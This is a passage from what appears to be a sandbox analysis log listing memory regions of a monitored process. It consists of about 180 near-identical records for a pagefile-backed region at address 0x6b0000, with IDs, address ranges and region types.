= 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11703 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11704 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11705 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11706 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11707 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11708 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11709 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11710 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11711 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11712 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11713 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11714 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11715 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11716 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11717 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11718 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11719 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11720 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11721 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11722 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11723 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11724 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11725 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11726 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11727 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11728 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11729 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11730 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11731 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11732 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11733 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11734 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11735 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11736 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11737 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11738 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11739 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11740 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11741 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11742 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11743 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11744 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11745 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11746 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11747 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11748 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11749 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11750 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11751 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11752 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11753 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11754 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11755 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11756 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11757 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11758 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11759 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11760 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11761 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11762 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11763 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11764 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11765 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11766 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11767 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11768 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11769 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11770 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 11771 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 11772 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11773 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11774 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11775 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11776 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11777 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11778 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11779 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11780 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11781 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11782 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11783 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11784 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11785 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11786 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11787 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11788 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11789 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11790 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11791 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11792 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11793 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11794 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11795 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11796 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11797 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11798 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11799 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11800 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11801 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11802 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11803 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11804 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11805 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11806 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11807 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11808 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11809 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11810 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11811 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11812 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11813 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11814 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11815 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11816 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11817 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11818 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11819 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11820 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11821 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11822 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11823 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11824 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11825 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11826 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11827 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11828 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11829 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11830 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11831 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11832 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11833 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11834 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11835 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11836 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11837 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11838 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11839 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11840 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11841 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11842 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11843 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11844 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11845 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11846 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11847 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11848 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11849 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11850 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11851 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11852 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11853 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11854 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11855 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11856 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11857 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11858 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11859 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11860 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11861 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11862 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11863 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11864 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11865 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11866 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11867 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11868 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11869 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11870 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11871 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11872 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11873 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11874 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11875 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11876 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11877 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11878 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11879 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11880 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11881 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11882 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 11883 start_va = 0x6b0000 end_va = 